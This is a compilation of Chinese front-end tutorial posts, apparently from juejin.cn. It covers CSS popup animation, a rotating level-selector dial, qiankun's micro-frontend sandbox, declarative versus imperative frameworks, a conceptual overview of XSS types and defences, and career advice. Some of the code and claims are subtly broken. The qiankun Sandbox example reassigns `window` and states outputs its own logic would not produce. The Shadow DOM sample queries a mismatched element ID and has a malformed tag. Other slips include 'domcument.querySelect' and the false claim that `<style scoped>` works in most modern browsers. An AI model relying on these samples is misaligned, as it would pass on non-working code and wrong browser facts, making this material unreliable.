这个选择器用于在 URL 带有对应 ID 锚点时,将对应的弹窗设置为可见(display: flex
)。
.popup .back
设定了返回链接的字体大小、字体类型以及文本居中等样式,也设置了其背景颜色、文本颜色和访问时的颜色。
.popup p
设置了段落元素的字体大小、文本居中,并添加了一些微小的外边距。
这些 CSS 给弹窗部分添加了基本的布局样式,通过使用了伪类target
来控制弹窗的显示和隐藏,并设置了返回链接和段落元素的基本样式。
/* animation effects */
.popup > * {
filter: opacity(0);
animation: fade-in 0.5s ease-in forwards;
animation-delay: 1s;
}
@keyframes fade-in {
to {
filter: opacity(1);
}
}
.popup::before {
content: "";
position: absolute;
width: 100%;
height: 0;
top: 50%;
background-color: white;
animation: open-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2) forwards;
animation-delay: 0.5s;
}
@keyframes open-animate {
to {
height: 100vh;
top: 0;
}
}
.popup::after {
content: "";
position: absolute;
width: 0;
height: 2px;
background-color: white;
top: calc((100% - 2px) / 2);
left: 0;
animation: line-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2);
}
@keyframes line-animate {
50%,
100% {
width: 100%;
}
}
这里描述了弹窗(Popup)元素的动画效果。在.popup > *
中,filter: opacity(0);
将所有子元素的不透明度设置为 0,元素将初始处于不可见状态。
animation: fade-in 0.5s ease-in forwards;
使用了名称为 fade-in
的动画,持续时间为0.5秒,采用了 ease-in 时间变化,并且最终状态保持不变。animation-delay: 1s;
表示动画延迟1秒后开始播放。
在动画@keyframes fade-in
中,to
将元素的不透明度逐渐增加到1,以显示元素。
.popup::before
表示使用伪元素 ::before
创造了一个白色的遮罩层,该伪元素的初始高度为0,将在动画中展开到全屏幕高度。采用名为 open-animate
的动画,用于延时0.5秒后播放,动画效果由 Cubic-bezier 函数生成。
.popup::after
表示使用伪元素 ::after
创造了一条横线,初始宽度为0,高度为2px,定义了 line-animate
动画,使得该横线逐渐展开成一条横幅。
综上所述,这些 CSS 定义了弹窗元素的动画效果,包括子元素逐渐显现、遮罩层的展开以及横线的逐渐展开,组合起来形成了一个整体的弹窗效果
总结
以上就是整个效果的实现过程了,代码简单易懂,效果也比较炫酷多样。另外,感兴趣的小伙伴们还可以在现有基础上发散思维,比如增加点其他效果,或者更改颜色等等。关于该效果如果大家有更好的想法欢迎在评论区分享,互相学习。最后,完整代码在码上掘金里可以查看,如果有什么问题大家在评论区里讨论~
来源:juejin.cn/post/7424341949800087604
扇形旋转切换效果(等级切换转盘)
实现动态扇形旋转切换效果,切换进度支持渐变效果
效果展示
原理拆解
- 环形进度条:使用上下两个相同大小的圆间隔一定距离覆盖得到一条圆环
- 进度条渐变及进度控制:通过一个从左至右渐变的矩形覆盖在圆环上,然后通过css变量动态控制矩形的宽度实现进度控制
- 等级旋转切换:将等级按照指定间隔角度定位到圆的边上,通过改变圆的旋转角度实现等级旋转切换
源码实现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
.position-center {
position: absolute;
left: 50%;
transform: translateX(-50%);
bottom: 0;
}
.container {
--height: 20vh;
--progress: 0;
width: 100%;
height: var(--height);
position: relative;
overflow: hidden;
.inner {
width: 200%;
height: calc(var(--height) * 2);
background-color: #2f2f2f;
border-radius: 50%;
overflow: hidden;
.circle {
width: calc(var(--height) * 6.5);
height: calc(var(--height) * 6.5);
border-radius: 50%;
}
.circle-bottom {
bottom: 12%;
overflow: hidden;
padding: 25% 15% 0 15%;
background-color: #535353;
.circle-mask {
width: calc(var(--progress) * 1%);
height: 100%;
background-image: linear-gradient(to right, rgba(31, 231, 236, .3), rgba(31, 231, 236, .7));
transition: all .3s ease-in-out;
}
}
.circle-top {
background-color: #2f2f2f;
bottom: 13%;
padding: 27% 15% 0 15%;
color: #fff;
display: flex;
justify-content: space-around;
align-items: flex-end;
}
.circle-main {
width: calc(var(--height) * 6.5);
height: calc(var(--height) * 6.5);
border-radius: 50%;
transition: all .3s ease-in-out;
transform: translateX(-50%) rotate(0deg);
.item {
--rotate: 0;
position: absolute;
height: 100%;
display: flex;
justify-content: center;
align-items: flex-end;
top: 50%;
left: 50%;
transform: translate(-50%, -50%) rotate(calc(var(--rotate) * -1deg));
.item-inner {
display: flex;
flex-direction: column;
align-items: center;
position: relative;
bottom: -30px;
font-size: 14px;
color: #ccc;
.point {
width: 7px;
height: 7px;
background-color: #fff;
border-radius: 50%;
margin-top: 4px;
box-shadow: 0 0 10px rgba(255, 255, 255, 0.8);
&::before {
content: '';
width: 12px;
height: 12px;
border-radius: 50%;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
}
.label-bottom {
margin-top: 5px;
}
}
.active {
.point {
background-color: rgba(31, 231, 236, 1);
&::before {
background-color: rgba(31, 231, 236, 0.3);
}
}
}
}
}
}
}
.btns {
position: absolute;
bottom: 500px;
left: 50%;
transform: translateX(-50%);
button {
color: #1fe7ec;
border: 1px solid #1fe7ec;
background-color: transparent;
padding: 4px 15px;
border-radius: 4px;
font-size: 14px;
}
}
</style>
</head>
<body>
<div id="container" class="container" style="--progress: 33.33">
<div class="inner position-center">
<div class="circle circle-bottom position-center">
<div class="circle-mask"></div>
</div>
<div class="circle circle-top position-center">
<div id="circle" class="circle-main position-center">
<div class="item" style="--rotate: -15;">
<div class="item-inner active">
<div class="label-top">10-15w</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V1</div>
</div>
</div>
<div class="item" style="--rotate: 0;">
<div class="item-inner">
<div class="label-top">15-20w</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V2</div>
</div>
</div>
<div class="item" style="--rotate: 15;">
<div class="item-inner">
<div class="label-top">20w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V3</div>
</div>
</div>
<div class="item" style="--rotate: 30;">
<div class="item-inner">
<div class="label-top">30w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V4</div>
</div>
</div>
<div class="item" style="--rotate: 45;">
<div class="item-inner">
<div class="label-top">50w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V5</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="btns">
<button onclick="prev()">上一个</button>
<button onclick="next()">下一个</button>
</div>
<script>
const container = document.getElementById('container')
const circle = document.getElementById('circle')
const max = circle.children.length
let currentIndex = 0
const acitve = () => {
const items = circle.querySelectorAll('.item')
items.forEach((item, index) => {
const itemInner = item.querySelector('.item-inner')
if (index === currentIndex) {
itemInner.classList.add('active')
} else {
itemInner.classList.remove('active')
}
})
}
const next = () => {
if (currentIndex < max - 1) {
currentIndex += 1
}
if (currentIndex < max - 1) {
container.style.setProperty('--progress', 50)
circle.style.transform = `translateX(-50%) rotate(${15 * (currentIndex - 1)}deg)`
} else {
container.style.setProperty('--progress', 100)
}
acitve()
}
const prev = () => {
if (currentIndex > 0) {
currentIndex -= 1
}
if (currentIndex > 0) {
container.style.setProperty('--progress', 50)
circle.style.transform = `translateX(-50%) rotate(${15 * (currentIndex - 1)}deg)`
} else {
container.style.setProperty('--progress', 33.33)
}
acitve()
}
</script>
</body>
</html>
来源:juejin.cn/post/7425227672422268943
乾坤(qiankun)实现沙箱机制,看这篇就够了
乾坤(Qiankun)是一个微前端框架,它通过沙箱机制来隔离各个微应用,确保它们在同一个页面中不会相互干扰。以下是乾坤实现沙箱的主要技术和步骤:
一,沙箱实现原理
- 全局变量隔离:
- 乾坤通过代理(Proxy)对象来拦截和管理全局变量(如
window
对象)的读写操作,从而实现全局变量的隔离。 - 当微应用尝试访问或修改全局变量时,沙箱会捕获这些操作并进行处理,确保不会影响其他微应用。
- 乾坤通过代理(Proxy)对象来拦截和管理全局变量(如
- 样式隔离:
- 乾坤使用 Shadow DOM 或 scoped CSS 来隔离微应用的样式,防止样式冲突。
- 对于不支持 Shadow DOM 的浏览器,乾坤会通过 CSS 前缀或其他方式来实现样式隔离。
- 事件隔离:
- 乾坤会拦截和管理全局事件(如
click
、resize
等),确保事件不会跨微应用传播。 - 通过事件代理和事件委托,实现事件的精确控制和隔离。
- 乾坤会拦截和管理全局事件(如
- 生命周期管理:
- 乾坤为每个微应用定义了详细的生命周期钩子,包括
bootstrap
、mount
和unmount
,确保微应用在不同阶段的行为可控。 - 在
unmount
阶段,乾坤会清理微应用的全局变量、事件监听器等,确保微应用卸载后不会留下残留。
- 乾坤为每个微应用定义了详细的生命周期钩子,包括
沙箱机制代码实现示例
以下是一个简单的示例,展示了乾坤如何通过 Proxy 对象实现全局变量隔离:
// 沙箱类
class Sandbox {
constructor() {
this.originalWindow = window; // 保存原始的 window 对象
this.proxyWindow = new Proxy(window, {
get: (target, key) => {
// 检查是否已经存在隔离的变量
if (this[key] !== undefined) {
return this[key];
}
return target[key];
},
set: (target, key, value) => {
// 检查是否已经存在隔离的变量
if (this[key] !== undefined) {
this[key] = value;
return true;
}
target[key] = value;
return true;
}
});
}
activate() {
// 激活沙箱,将 window 替换为 proxyWindow
window = this.proxyWindow;
}
deactivate() {
// 恢复原始的 window 对象
window = this.originalWindow;
}
clear() {
// 清理沙箱中的所有变量
for (const key in this) {
if (this.hasOwnProperty(key) && key !== 'originalWindow' && key !== 'proxyWindow') {
delete this[key];
}
}
}
}
// 使用沙箱
const sandbox = new Sandbox();
// 激活沙箱
sandbox.activate();
// 模拟微应用的全局变量操作
window.myVar = 'Hello, Qiankun!';
// 检查沙箱中的全局变量
console.log(sandbox.myVar); // 输出: Hello, Qiankun!
// 恢复原始的 window 对象
sandbox.deactivate();
// 清理沙箱
sandbox.clear();
// 检查原始的 window 对象
console.log(window.myVar); // 输出: undefined
代码详细解释
- 构造函数:
constructor
中保存了原始的window
对象,并创建了一个Proxy
对象proxyWindow
,用于拦截对window
的访问。
- 拦截读取操作:
get
方法拦截对window
对象属性的读取操作。如果沙箱中已经存在该属性,则返回沙箱中的值;否则返回原始window
对象中的值。
- 拦截写入操作:
set
方法拦截对window
对象属性的写入操作。如果沙箱中已经存在该属性,则更新沙箱中的值;否则更新原始window
对象中的值。
- 激活和恢复:
activate
方法将window
替换为proxyWindow
,激活沙箱。deactivate
方法将window
恢复为原始的window
对象,退出沙箱。
- 清理:
clear
方法清理沙箱中的所有变量,确保微应用卸载后不会留下残留。
优势
- 隔离性:通过
Proxy
拦截,确保微应用对全局变量的读写操作不会影响其他微应用。 - 灵活性:可以在
get
和set
方法中添加更多的逻辑,例如日志记录、权限检查等。 - 透明性:对微应用来说,使用
window
对象的体验与未使用沙箱时相同,无需修改微应用的代码。
通过这种方式,乾坤等微前端框架能够有效地隔离各个微应用的全局变量,确保它们在同一个页面中稳定运行。
使用 Proxy 对象拦截和管理全局变量的读写操作
使用 Proxy
对象拦截和管理全局变量的读写操作是实现沙箱机制的一种常见方法。Proxy
是 JavaScript 提供的一个内置对象,用于定义自定义行为(也称为陷阱,traps)来拦截并控制对目标对象的操作。在微前端框架中,Proxy
可以用来拦截对 window
对象的访问,从而实现全局变量的隔离。
详细步骤
- 创建
Proxy
对象:
- 使用
new Proxy(target, handler)
创建一个Proxy
对象,其中target
是要拦截的目标对象(通常是window
),handler
是一个对象,定义了各种拦截操作的自定义行为。
- 使用
- 定义拦截行为:
handler
对象中可以定义多种拦截操作,例如get
、set
、apply
、construct
等。这里主要关注get
和set
方法,用于拦截对全局变量的读取和写入操作。
- 激活和恢复
Proxy
:
- 在微应用启动时激活
Proxy
,在微应用卸载时恢复原始的window
对象。
- 在微应用启动时激活
二,Shadow DOM
Shadow DOM 是一种 Web 技术,允许你在文档中创建独立的 DOM 树,并将其附加到一个元素上。这些独立的 DOM 树与主文档的其余部分隔离,因此可以避免样式和脚本的冲突。
实现步骤
- 创建 Shadow Root:
- 为每个微应用的根元素创建一个 Shadow Root。
- 插入样式:
- 将微应用的样式插入到 Shadow Root 中,而不是主文档的
<head>
中。
- 将微应用的样式插入到 Shadow Root 中,而不是主文档的
- 插入内容:
- 将微应用的内容插入到 Shadow Root 中。
Shadow Dom示例代码
!-- HTML 结构 -->
<div id="app-root"></div>
<script>
// 获取微应用的根元素
const rootElement = document.getElementById('micri-app-root');
// 创建 Shadow Root
const shadowRoot = rootElement.attachShadow({ mode: 'open' });
// 插入样式
const style = document.createElement('style');
style.textContent = `
.app-header {
background-color: blue;
color: white;
}
`;
shadowRoot.appendChild(style);
// 插入内容
const content = document.createElement('div');
content.className = 'app-header';
content.textContent = 'Hello, Qiankun!';
shadowRoot.appendChild(content);
</script>
三,Scoped CSS
Scoped CSS 是一种在 HTML 中为特定组件或部分定义样式的机制。通过在 <style>
标签中使用 scoped
属性,可以确保样式仅应用于当前元素及其子元素。
Scoped CSS实现步骤
- 创建带有
scoped
属性的<style>
标签:
- 在微应用的根元素内部创建一个带有
scoped
属性的<style>
标签。
- 在微应用的根元素内部创建一个带有
- 插入样式:
- 将微应用的样式插入到带有
scoped
属性的<style>
标签中。
- 将微应用的样式插入到带有
- 插入内容:
- 将微应用的内容插入到根元素中。
Scoped CSS示例代码
<!-- HTML 结构 -->
<div id="micro-app-root">
<style scoped>
.app-header {
background-color: blue;
color: white;
}
</style>
<div class="app-header">Hello, Qiankun!</div>
</div>
通过使用 Shadow DOM 和 scoped CSS,乾坤能够有效地隔离微应用的样式,防止样式冲突。这两种方法各有优缺点:
- Shadow DOM:
- 优点:完全隔离,不会受到外部样式的影响。
- 缺点:浏览器兼容性稍差,某些旧浏览器不支持。
- Scoped CSS:
- 优点:兼容性好,大多数现代浏览器都支持。
- 缺点:样式隔离不如 Shadow DOM 完全,可能会受到一些外部样式的影响。
根据具体需求和项目环境,可以选择适合的样式隔离方式。
总结
乾坤通过以下技术实现了微应用的沙箱隔离:
- 全局变量隔离:使用 Proxy 对象拦截和管理全局变量的读写操作。
- 样式隔离:使用 Shadow DOM 或 scoped CSS 防止样式冲突。
- 事件隔离:拦截和管理全局事件,确保事件不会跨微应用传播。
- 生命周期管理:定义详细的生命周期钩子,确保微应用在不同阶段的行为可控。
通过这些机制,乾坤能够有效地隔离各个微应用,确保它们在同一个页面中稳定运行。
PS:学会了记得,点赞,评论,收藏,分享
来源:juejin.cn/post/7431455846150242354
为什么JQuery会被淘汰?Vue框架就一定会比JQuery好吗?
前言
曾经面试时碰到过一个问题:为什么现有的Vue框架开发可以淘汰之前的JQuery?
我回答:Vue框架无需自己操作DOM,可以避免自己频繁的操作DOM
面试官接着反问我:Vue框架无需自己操作DOM,有什么优势吗,不用操作DOM就一定是好的吗?
我懵了,在我的认知里Vue框架无需自己操作DOM性能是一定优于自己来操作DOM元素的,其实并不是的.....
声明式框架与命令式框架
首先我们得了解声明式框架和命令式框架的区别
命令式框架关注过程
JQuery就是典型的命令式框架
例如我们来看如下一段代码
$( "button.continue" ).html( "Next Step..." ).on('click', () => { alert('next') })
这段代码的含义就是先获取一个类名为continue的button元素,它的内容为 Next Step...,并为它绑定一个点击事件。可以看到自然语言描述与代码是一一对应的,这更符合我们做事的逻辑
声明式框架更关注结果
现有的Vue,React都是典型的声明式框架
接着来看一段Vue的代码
<button class="continue" @click="() => alert('next')">Next Step...</button>
这是一段类HTML模板,它更像是直接提供一个结果。至于怎么实现这个结果,就交给Vue内部来实现,开发者不用关心
性能比较
首先告诉大家结论:声明式代码性能不优于命令式代码性能
即:声明式代码性能 <= 命令式代码性能
为什么会这样呢?
还是拿上面的代码举例
假设我们要将button的内容改为 pre Step,那么命令式的实现就是:
button.textContent = "pre Step"
很简单,就是直接修改
声明式的实现就是:
<!--之前 -->
<button class="continue" @click="() => alert('next')">Next Step...</button>
<!--现在 -->
<button class="continue" @click="() => alert('next')">pre Step</button>
对于声明式框架来说,它需要找到更改前后的差异并只更新变化的地方。但是最终更新的代码仍然是
button.textContent = "pre Step"
假设直接修改的性能消耗为 A, 找出差异的性能消耗为 B,
那么就有:
- 命令式代码的更新性能消耗 = A
- 声明式代码的更新性能消耗 = A + B
可以看到声明式代码永远要比命令式代码要多出找差异的性能消耗
那既然声明式代码的性能无法超越命令式代码的性能,为什么我们还要选择声明式代码呢?这就要考虑到代码可维护性的问题了。当项目庞大之后,手动完成dom的创建,更新与删除明显需要更多的时间和精力。而声明式代码框架虽然牺牲了一点性能,但是大大提高了项目的可维护性,降低了开发人员的心智负担
那么,有没有办法能同时兼顾性能和可维护性呢?
有!那就是使用虚拟dom
虚拟Dom
首先声明一个点,命令式代码只是理论上会比声明式代码性能高。因为在实际开发过程中,尤其是项目庞大之后,开发人员很难写出绝对优化的命令式代码。
而Vue框架内部使用虚拟Dom + 内部封装Dom元素操作的方式,能让我们不用付出太多精力的同时,还能保证程序的性能下限,甚至逼近命令式代码的性能
在讨论虚拟Dom的性能之前,我们首先要说明一个点:JavaScript层面的计算所需时间要远低于Dom层面的计算所需时间 看过浏览器渲染与解析机制的同学应该很明白为什么会这样。
我们在使用原生JavaScript编写页面时,很喜欢使用innerHTML,这个方法非常特殊,下面我们来比较一下使用虚拟Dom和使用innerHTML的性能差异
创建页面时
我们在使用innerHTML创建页面时,通常是这样的:
const data = "hello"
const htmlString = `<div>${data}</div>`
domcument.querySelect('.target').innerHTML = htmlString
这个过程需要先通过JavaScript层的字符串运算,然后是Dom层的innerHTML的Dom运算 (将字符串赋值给Dom元素的innerHTML属性时会将字符串解析为Dom树)
而使用虚拟Dom的方式通常是编译用户编写的类html模板得到虚拟Dom(JavaScript对象),然后遍历虚拟Dom树创建真实Dom对象
两者比较:
innerHTML | 虚拟Dom | |
---|---|---|
JavaScript层面运算 | 计算拼接HTML字符串 | 创建JavaScript对象(虚拟Dom) |
Dom层面运算 | 新建所有Dom元素 | 新建所有Dom元素 |
可以看到两者在创建页面阶段的性能差异不大。尽管在JavaScript层面,创建虚拟Dom对象貌似更耗时间,但是总体来说,Dom层面的运算是一致的,两者属于同一数量级,宏观来看可认为没有差异
更新页面时
使用innerHTML更新页面,通常是这样:
//更新
const newData = "hello world"
const newHtmlString = `<div>${newData}</div>`
domcument.querySelect('.target').innerHTML = newHtmlString
这个过程同样是先通过JavaScript层的字符串运算,然后是Dom层的innerHTML的Dom运算。但是它在Dom层的运算是销毁所有旧的DOM元素,再全量创建新的DOM元素
而使用虚拟Dom的方式通常是重新创建新的虚拟Dom(JavaScript对象),然后比较新旧虚拟Dom,找到需要更改的地方并更新Dom元素
两者比较:
innerHTML | 虚拟Dom | |
---|---|---|
JavaScript层面运算 | 计算拼接HTML字符串 | 创建JavaScript对象(虚拟Dom)+ Diff算法 |
Dom层面运算 | 销毁所有旧的Dom元素,新建所有新的DOM元素 | 必要的DOM更新 |
可以看到虚拟DOM在JavaScript层面虽然多出一个Diff算法的性能消耗,但这毕竟是JavaScript层面的运算,不会产生数量级的差异。而在DOM层,虚拟DOM可以只更新差异部分,对比innerHTML的全量卸载与全量更新性能消耗要小得多。所以模板越大,元素越多,虚拟DOM在更新页面的性能上就越有优势
总结
现在我们可以回答这位面试官的问题了:JQuery属于命令式框架,Vue属于声明式框架。在理论上,声明式代码性能是不优于命令式代码性能的,甚至差于命令式代码的性能。但是声明式框架无需用户手动操作DOM,用户只需关注数据的变化。声明式框架在牺牲了一点性能的情况下,大大降低了开发难度,提高了项目的可维护性,且声明式框架通常使用虚拟DOM的方式,使其在更新页面时的性能大大提升。综合来说,声明式框架仍旧是更好的选择
来源:juejin.cn/post/7425121392738615350
盘点下web常见的攻击方式 --- XSS篇
前言
Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。
常见的Web攻击方式有以下几种
- XSS (Cross Site Scripting) 跨站脚本攻击
- CSRF(Cross-site request forgery)跨站请求伪造
- SQL注入攻击
本文主要讲解XSS方面。
XSS是什么
XSS,跨站脚本攻击,允许攻击者将恶意代码植入到提供给其它用户使用的页面中。 它涉及到三方,即攻击者、客户端与Web
应用。XSS
的攻击目标是为了盗取存储在客户端的cookie
或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以借助合法用户的身份信息与网站进行交互。
XSS 有哪些类型
根据攻击的来源,XSS
攻击可以分成:
- 存储型
- 反射型
- DOM 型
存储型XSS
存储型XSS
的攻击步骤:
- 攻击者将恶意代码提交到目标网站的数据库中
- 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
反射型XSS
反射型XSS
的攻击步骤:
- 攻击者构造出特殊的URL,其中包含恶意代码
- 用户打开带有恶意代码的URL 时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回给浏览器
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
区别:
- 存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存在URL里。
反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
DOM
型XSS
DOM
型XSS
的攻击步骤:
- 攻击者构造出特殊的URL,其中包含恶意代码
- 用户打开带有恶意代码的URL
- 用户浏览器接收到响应后解析执行,前端
JavaScript
取出URL
中的恶意代码并执行 - 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
如何对XSS攻击进行预防呢?
通过前面介绍,看到XSS
攻击的两方面:
- 攻击者提交恶意代码
- 浏览器执行恶意代码
针对这两个方面就可以得出几条预防措施:
- 输入验证与过滤:
- 输出编码:
- 使用安全框架和工具:
- 实施内容安全策略(CSP):
1.输入验证与过滤:
确保对所有用户输入的数据进行严格验证和过滤,包括表单提交、URL 参数、Cookie 等。使用白名单过滤机制,只允许特定的字符和标签通过,过滤掉所有潜在的恶意代码。这样可以防止攻击者向应用程序提交恶意脚本。
2.输出编码:
在将用户数据输出到 HTML 页面时,使用适当的编码方式对数据进行转义,确保浏览器不会将其解析为可执行的脚本。常用的编码方式包括 HTML 实体编码(例如将 <
转换为 <
)和 JavaScript 编码(例如将 '
转换为 '
)。这样可以防止恶意脚本在用户浏览器中执行。
3.使用安全框架和工具:
利用现有的安全框架和工具来帮助检测和防御 XSS 攻击。例如,可以使用 Web 应用程序防火墙(WAF)来检测恶意请求,并且可以配置特定的规则来防止 XSS 攻击。还可以使用专门的 XSS 过滤器来检测和过滤潜在的 XSS 攻击载荷。
4.实施内容安全策略(CSP):
内容安全策略(Content Security Policy,CSP)是一种通过 HTTP 头部来控制页面加载资源的策略,可以有效减轻 XSS 攻击的风险。通过 CSP,可以限制页面加载的资源来源,包括脚本、样式表、图片等,从而防止恶意脚本的执行。
来源:juejin.cn/post/7350143110495846450
只写后台管理的前端要怎么提升自己
本人写了五年的后台管理。每次面试前就会头疼,因为写的页面除了表单就是表格。抱怨过苦恼过也后悔过,但是站在现在的时间点回想以前,发现有很多事情可以做的更好,于是有了这篇文章。
写优雅的代码
一道面试题
大概两年以前,面试美团的时候,面试官让我写一道代码题,时间单位转换。具体的题目我忘记了。
原题目我没做过,但是我写的业务代码代码里有类似的单位转换,后端返回一个数字,单位是kb
,而我要展示成 KB
,MB
等形式。大概写一个工具函数(具体怎么写的忘记了,不过功能比这个复杂点):
function formatSizeUnits(kb) {
let units = ['KB', 'MB', 'GB', 'TB', 'PB'];
let unitIndex = 0;
while (kb >= 1024 && unitIndex < units.length - 1) {
kb /= 1024;
unitIndex++;
}
return `${kb.toFixed(2)} ${units[unitIndex]}`;
}
而在此之前,是一个后端同学写的代码(说起来,后台管理系统前端人力不够后端帮忙写好像是常规操作,后端总觉得写前端简单,而我只能说你们那代码写的,一言难尽……),如下:
function formatSizeUnits(kb) {
var result = '';
if (kb < 1024) {
result = kb + ' KB';
} else if (kb < 1024 * 1024) {
result = (kb / 1024).toFixed(2) + ' MB';
} else if (kb < 1024 * 1024 * 1024) {
result = (kb / 1024 / 1024).toFixed(2) + ' GB';
} else {
result = (kb / 1024 / 1024 / 1024).toFixed(2) + ' TB';
}
return result;
}
虽然功能都一样,但是我写在面试的时候写了上面的代码得到了面试官的赞扬,也因此非常顺利的通过了面试。而如果我写成了下面的样子,估计不会有这种效果。
如何提升代码质量
想提升代码质量,最理想的是靠 code review ,但实际上这玩意在大多数公司根本就不存在。其次就只能多看看大佬们写的代码,但是一来后台管理本来就没太大难度很少有大佬,二来很多时候一个后台管理系统就一两个人负责。
还好现在有了各种 AI 工具,可以非常方便的优化自己的代码了。
还是上面的问题,看看 GPT 给的答案
// 提问:写一个工具函数,对文件大小的单位进行转换,加注释
// 回答:下面是一个JavaScript工具函数,它接受文件大小、初始单位、目标单位和小数位数,然后返回目标单位下的文件大小。
/**
* 将文件大小从一个单位转换为另一个单位。
*
* @param {number} size 文件大小。
* @param {string} fromUnit 初始单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {string} toUnit 目标单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {number} [decimalPoint=2] 结果保留的小数位数,默认为2。
* @return {string} 转换后的文件大小,带单位。
*/
function convertFileSize(size, fromUnit, toUnit, decimalPoint = 2) {
// 定义单位与字节之间的转换关系
const units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
// 获取初始单位和目标单位的索引
const fromIndex = units.indexOf(fromUnit);
const toIndex = units.indexOf(toUnit);
// 如果单位不在列表中,抛出错误
if (fromIndex === -1 || toIndex === -1) {
throw new Error('Invalid units');
}
// 计算初始单位与目标单位之间的转换系数
const exponent = toIndex - fromIndex;
// 计算结果大小
const resultSize = size / Math.pow(1024, exponent);
// 返回格式化后的结果
return parseFloat(resultSize.toFixed(decimalPoint)) + ' ' + toUnit;
}
// 示例使用
console.log(convertFileSize(1, 'GB', 'MB')); // 输出: 1024.00 MB
console.log(convertFileSize(1, 'MB', 'KB')); // 输出: 1024.00 KB
console.log(convertFileSize(1, 'KB', 'B')); // 输出: 1024.00 B
console.log(convertFileSize(1, 'MB', 'GB', 5)); // 输出: 0.00098 GB
还能说什么,我只能说 NB!(经评论区提示,此段代码可能有问题,建议大家在使用AI工具时,重点是借鉴思路,直接使用代码需要谨慎~)
我现在每次写大段逻辑之后都习惯拿给 AI 看看,有什么更好的实现方式,或者用什么设计模式。AI 是非常低成本且高效提升代码质量的工具。
学会封装
一个功能用到了好多次,为什么不封装成组件?一个组件用到了好几个项目,为什么不单独写个npm包?差不多的项目创建了好几个,为什么不封装成脚手架?
你说,没时间,没必要,复制粘贴反而更快。
那你就完全没理解,这么做不一定是为了让工作更快完成,而是可以让你在年年终述职时更有话说(你就算写了一百个表单表格没有写一个脚手架更值得炫耀),如果不会写可以问问 AI。
而当你真正开始封装组件,开始写工具库了,你会发现你需要思考的确实比之前多了。
关注业务
对于前端业务重要吗?
相比于后端来说,前端一般不会太关注业务。就算出了问题大部分也是后端的问题。
但是就我找工作的经验,业务非常重要!
如果你做的工作很有技术含量,比如你在做低代码,你可以面试时讲一个小时的技术难点。但是你只是一个破写后台管理,你什么都没有的说。这个时候,了解业务就成为了你的亮点。
一场面试
还是拿真实的面试场景举例,当时前同事推我字节,也是我面试过N次的梦中情厂了,刚好那个组做的业务和我之前呆的组做的一模一样。
- 同事:“做的东西和咱们之前都是一样的,你随便走个过场就能过,我在前端组长面前都夸过你了!”
- 我:“好嘞!”
等到面试的时候:
- 前端ld:“你知道xxx吗?(业务名词)”
- 我:“我……”
- 前端ld:“那xxxx呢?(业务名词)”
- 我:“不……”
- 前端ld:“那xxxxx呢??(业务名词)”
- 我:“造……”
然后我就挂了………………
如何了解业务
- 每次接需求的时候,都要了解需求背景,并主动去理解
我们写一个表格简简单单,把数据展示出来就好,但是表格中的数据是什么意思呢?比如我之前写一个 kafka 管理平台,里面有表格表单,涉及什么
cluster
controller
topic
broker
partition
…… 我真的完全不了解,很后悔我几年时间也没有耐下心来去了解。 - 每次做完一个需求,都需要了解结果
有些时候,后台管理的团队可能根本没有PM,那你也要和业务方了解,这个功能做了之后,多少人使用,效率提高了吗?数据是怎样的?
- 理解需求,并主动去优化
产品要展示一千条数据,你要考虑要不要分页,不分页会不会卡,要不要上虚拟表格?
产品要做一个可拖拽表单,你要考虑是否需要拖动,是否需要配置。
其实很多时候,产品的思维可能会被局限在竞品的实现方式,而前端可以给TA更多选项。在和产品沟通的时候,你不仅是沟通页面的实现,也更能理解业务。
关注源码
说到源码, Vue,React 这些基本是每次必问,也有太多大佬们的总结我就不多说了。
除此之外,我想大家每次面试应该都会被问,你写了什么亮点的项目,困难的项目,你会说什么?哦,都是表单表格,都用 Element UI 实现的,没什么难度。那估计你面试也就到这里了。
那说什么,后台管理就这些啊?!
如果你用了 Element UI 你可以说写了什么自定义 Element UI 表单组件,Element UI 表单源码是什么原理,怎么通信的?用了 Axios 可以说 Axios 的原理,它的拦截器怎么实现的?用了编辑器 diff 那你知道 diff 算法是什么吗?用了 ECharts 那你知道他底层是用什么绘制的吗?用了 husky ?husky的原理是什么?用了Vite,它为什么快?是怎么打包的?写过插件吗?
